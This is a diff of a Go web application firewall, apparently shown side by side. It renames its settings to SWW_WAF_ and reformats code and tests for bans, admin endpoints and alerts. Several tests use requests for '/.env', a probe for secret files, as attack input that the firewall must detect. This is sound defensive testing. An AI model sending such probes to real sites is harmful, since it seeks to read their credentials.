type abuseIPDB struct{} type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" } func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check( func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.config.AbuseIPDBKey == "" { if rq.h.config.AbuseIPDBKey == "" {
return nil return nil
} }
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
rq.abuseIPDBHit = true rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag) rq.addTag(config.AbuseIPDBTag)
rq.noteHit( rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
bans.ReputationHit{ "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE")
Source: reputation.AbuseIPDBSource,
Score: &score,
},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.ReputationAction != deny { if rq.h.config.ReputationAction != deny {
return nil return nil
+12 -48
View File
@@ -31,8 +31,7 @@ var (
errNotBanToAdd = errors.New( errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason") "the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New( errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24", "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
)
errMappedNetblock = errors.New( errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have") errZone = errors.New("has a zone, which a netblock cannot have")
@@ -52,7 +51,7 @@ func (rq *request) answerHealth() {
// answerAdmin answers a request for one of waf's own endpoints. Each // answerAdmin answers a request for one of waf's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics // needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is // SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other // refused with 401. An endpoint whose token is unset answers 404, as any other
// path does. // path does.
func (rq *request) answerAdmin() { func (rq *request) answerAdmin() {
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
switch { switch {
case token == "": case token == "":
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error( http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
rq.out,
http.StatusText(http.StatusUnauthorized),
http.StatusUnauthorized,
)
default: default:
answer() answer()
} }
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with // readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes. // nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) { func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll( data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
)
rq.requestBytes = int64(len(data)) rq.requestBytes = int64(len(data))
if err != nil { if err != nil {
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
// Token returns io.EOF only when nothing but whitespace is left. // Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token() _, err = decoder.Token()
if !errors.Is(err, io.EOF) { if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf( return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
"%w: more follows the object",
errNotBanToAdd,
)
} }
return toAdd, nil return toAdd, nil
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value) netblock, err := netip.ParsePrefix(value)
if err == nil { if err == nil {
if netblock.Addr().Is4In6() { if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
"netblock %q %w",
value,
errMappedNetblock,
)
} }
return netblock, nil return netblock, nil
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
// 2001:db8::1%x/48 as part of the zone. // 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value) addr, err := netip.ParseAddr(value)
if err != nil { if err != nil {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
"netblock %q %w",
value,
errNotNetblock,
)
} }
if addr.Zone() != "" { if addr.Zone() != "" {
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
length, err := config.ParseDurationNotOff(duration) length, err := config.ParseDurationNotOff(duration)
if err != nil { if err != nil {
return time.Time{}, fmt.Errorf( return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
"duration %q %w",
duration,
errNotDuration,
)
} }
return now.Add(length), nil return now.Add(length), nil
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
lifted := rq.h.ledger.Lift(client, rq.h.now()) lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 { if len(lifted) == 0 {
http.Error( http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
rq.out,
"no ban is active on "+client.String(),
http.StatusNotFound,
)
return return
} }
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
return return
} }
answer := clientAnswer{ answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen { if seen {
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
func (rq *request) answerJSON(value any) { func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ") body, err := json.MarshalIndent(value, "", " ")
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
"encoding an answer failed",
"error",
err.Error(),
)
http.Error(rq.out, http.StatusText(http.StatusInternalServerError), http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError) http.StatusInternalServerError)
+30 -116
View File
@@ -17,8 +17,8 @@ import (
) )
const ( const (
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer // adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it. // how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210" adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret adminBearer = "Bearer " + adminSecret
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel() t.Parallel()
// The metrics token is set, and opens none of them. // The metrics token is set, and opens none of them.
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
t, server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
"", bans.Notes{})
map[string]string{metricsToken: token},
)
server.Ledger.BanForLimit(
netip.MustParsePrefix(otherClient+"/32"),
clk.Now(),
bans.Notes{},
)
before := server.Ledger.Snapshot() before := server.Ledger.Snapshot()
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
authorization,
e.method,
e.path,
e.body,
http.StatusNotFound,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf( t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
"the bans are now\n%+v\nwant them unchanged\n%+v",
after,
before,
)
} }
} }
@@ -84,44 +67,22 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{ for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
authorization, http.StatusUnauthorized)
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
if got.header.Get("WWW-Authenticate") != "Bearer" { if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf( t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
"%s %s with %q was answered without WWW-Authenticate: Bearer", e.method, e.path, authorization)
e.method,
e.path,
authorization,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual( if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
after, t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
before, e.method, e.path, after, before)
) {
t.Errorf(
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method,
e.path,
after,
before,
)
} }
got := s.admin(e.method, e.path, e.body, http.StatusOK) got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" { if got.header.Get("Content-Type") != "application/json" {
t.Errorf( t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
"%s %s answered %q",
e.method,
e.path,
got.header.Get("Content-Type"),
)
} }
} }
@@ -160,11 +121,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient, wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
http.StatusOK), want) http.StatusOK), want)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
} }
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused. // Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1 want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans( wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// Ten minutes on, lifting the bans on client lifts that one, which is // Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted. // kept, marked lifted.
@@ -188,19 +141,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
http.StatusOK), want) http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans( wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// No ban on it is active any more. // No ban on it is active any more.
s.admin( s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
http.MethodDelete,
waf.BansPath+"/"+client,
"",
http.StatusNotFound,
)
} }
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n" "\r\n"
want := state.BanEntry{ want := state.BanEntry{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
tc.want,
), Start: start, Cause: bans.CauseAdmin,
} }
if tc.length != 0 { if tc.length != 0 {
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires want.Expires = &expires
} }
wantBans( wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
t, want)
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want,
)
} }
} }
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
t,
"",
map[string]string{adminToken: adminSecret},
)
for _, tc := range []struct{ body, want string }{ for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"}, {"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -319,12 +254,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
got := s.admin(http.MethodPost, waf.BansPath, tc.body, got := s.admin(http.MethodPost, waf.BansPath, tc.body,
http.StatusBadRequest) http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) { if !strings.Contains(string(got.body), tc.want) {
t.Errorf( t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
"%.80s was answered %q, want it to say %q",
tc.body,
got.body,
tc.want,
)
} }
} }
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it. // limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
// Asked about by its address in IPv6 form too. // Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} { for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -376,11 +302,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" || got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 { got.Bans[0].Notes.Count != 3 {
t.Errorf( t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
"%s: bans %+v, want the one for the broken limit",
addr,
got.Bans,
)
} }
} }
@@ -388,9 +310,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// known. // known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "", got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
http.StatusOK) http.StatusOK)
if string( if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
got.body,
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body) t.Errorf("an unknown client is answered\n%s", got.body)
} }
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}) })
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
"",
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
} }
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -423,12 +337,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
} }
} }
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens. // adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
type adminEndpoint struct { type adminEndpoint struct {
method, path, body string method, path, body string
} }
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN // adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the // opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient. // bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint { func adminEndpoints() []adminEndpoint {
+22 -87
View File
@@ -15,8 +15,8 @@ import (
) )
const ( const (
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL" alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR" alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives. // alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/blog" alertInstance = "fsn1app1/blog"
) )
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
}, requestlog.FormatTime(start.Add(time.Hour)))) }, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf( t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
"the alert's notes are %+v, want those of the broken limit",
ban.Notes,
)
} }
} }
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes // The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing. // the ban permanent. The request after that changes nothing.
s.request( s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
attackBan := server.Ledger.Bans(netblock)[0] attackBan := server.Ledger.Bans(netblock)[0]
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
otherBans := server.Ledger.Bans(other) otherBans := server.Ledger.Bans(other)
wantAlerts( wantAlerts(t, queue,
t,
queue,
attackAlert(alerts.EventBan, start, client, attackBan, attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))), requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"), permanentBan, "permanent"),
attackAlert( attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
alerts.EventBan, requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
start.Add(time.Minute), attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherClient, otherBans[1], "permanent"),
otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
),
attackAlert(
alerts.EventPermanentBan,
start.Add(time.Minute+7*24*time.Hour),
otherClient,
otherBans[1],
"permanent",
),
) )
} }
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
// A ban for a clear sign of attack, which a request under it would make // A ban for a clear sign of attack, which a request under it would make
// permanent. // permanent.
group := netip.MustParsePrefix(ipv6Group) group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack( attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
group,
start,
bans.Notes{RuleID: "probe"},
)
// The third request breaks the limit, and so does the fourth, within the // The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack. // cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
held := server.Ledger.Snapshot() held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) { line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf( t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"the ledger holds %+v, and the log line gives %s, want the ban "+ "for the attack alone, as it was", held, line.BanExpires)
"for the attack alone, as it was",
held,
line.BanExpires,
)
} }
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" { attackNotes.Request.Path != "/.env" {
t.Errorf( t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"the notes are %+v and %+v, want those of the broken limit and "+ "of the probe", limitNotes, attackNotes)
"of the probe",
limitNotes,
attackNotes,
)
} }
// Each alert is the one enforce mode would have raised, with mode // Each alert is the one enforce mode would have raised, with mode
// observe in its detail. // observe in its detail.
want := []alerts.Alert{ want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{ banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes, Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))), }, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
otherClient + "/32",
), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))), }, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert( attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
alerts.EventPermanentBan,
start,
ipv6Client,
attackBan,
permanent,
),
} }
for _, alert := range want { for _, alert := range want {
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// The other client's first probe raises the second. Its second probe is // The other client's first probe raises the second. Its second probe is
// within the cooldown. // within the cooldown.
for range 2 { for range 2 {
s.request( s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
otherClient,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
} }
// The IPv6 client's third request breaks the limit past the two alerts // The IPv6 client's third request breaks the limit past the two alerts
@@ -253,11 +206,7 @@ func startWithAlerts(
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *waf.Server, *alerts.Queue) {
t.Helper() t.Helper()
return startAppWithAlerts( return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
t,
func(http.ResponseWriter, *http.Request) {},
env,
)
} }
// startAppWithAlerts is startWithAlerts in front of the app handler. // startAppWithAlerts is startWithAlerts in front of the app handler.
@@ -275,13 +224,7 @@ func startAppWithAlerts(
} }
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
t,
app.URL,
"",
clk.Now,
settings,
)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out} s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
@@ -292,11 +235,7 @@ func startAppWithAlerts(
// the time raised, for ban, with its netblock, cause, reason and notes, // the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it. // which ends at expires, as the log line gives it.
func banAlert( func banAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Instance: alertInstance, Instance: alertInstance,
@@ -315,11 +254,7 @@ func banAlert(
// attackAlert is banAlert for a ban for the probe rule of testRules, with // attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban. // the netblock and the notes of ban.
func attackAlert( func attackAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{ return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
+1 -4
View File
@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
t.Errorf( t.Errorf("counting the request did work, with every threshold off: %v", r)
"counting the request did work, with every threshold off: %v",
r,
)
} }
}() }()
+26 -52
View File
@@ -21,11 +21,11 @@ import (
// The anomaly thresholds: the prefix of a scope followed by the end of a // The anomaly thresholds: the prefix of a scope followed by the end of a
// count. // count.
const ( const (
anomalyClient = "SWW_ANOMALY_CLIENT_" anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
anomalyNet = "SWW_ANOMALY_NET_" anomalyNet = "SWW_WAF_ANOMALY_NET_"
anomalyASN = "SWW_ANOMALY_ASN_" anomalyASN = "SWW_WAF_ANOMALY_ASN_"
anomalyTotal = "SWW_ANOMALY_TOTAL_" anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
anomalyWatch = "SWW_WATCH_" anomalyWatch = "SWW_WAF_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR" requestsPerHour = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
// The other anomaly settings. // The other anomaly settings.
const ( const (
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX" anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX" anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
watchNets = "SWW_WATCH_NETS" watchNets = "SWW_WAF_WATCH_NETS"
) )
const ( const (
@@ -51,9 +51,7 @@ const (
hour = "hour" hour = "hour"
) )
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, scope := range []struct { for _, scope := range []struct {
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) { t.Run(setting, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{setting: value, watchNets: office} s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
s, clk, server, queue := startWithLookupsAndClock(t, env) setting: value, watchNets: office,
})
start := clk.Now() start := clk.Now()
// The third upload takes the count over the threshold, and the // The third upload takes the count over the threshold, and the
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 { waiting[1].SuppressedRepeats != 1 {
t.Errorf( t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
"alerts wait %+v, want the first and another, with 1 repeat",
waiting,
)
} }
} }
@@ -168,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.7" // in SWW_ALLOW_NETS allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_DENY_NETS denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
) )
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
got = append(got, alert.Client.String()) got = append(got, alert.Client.String())
} }
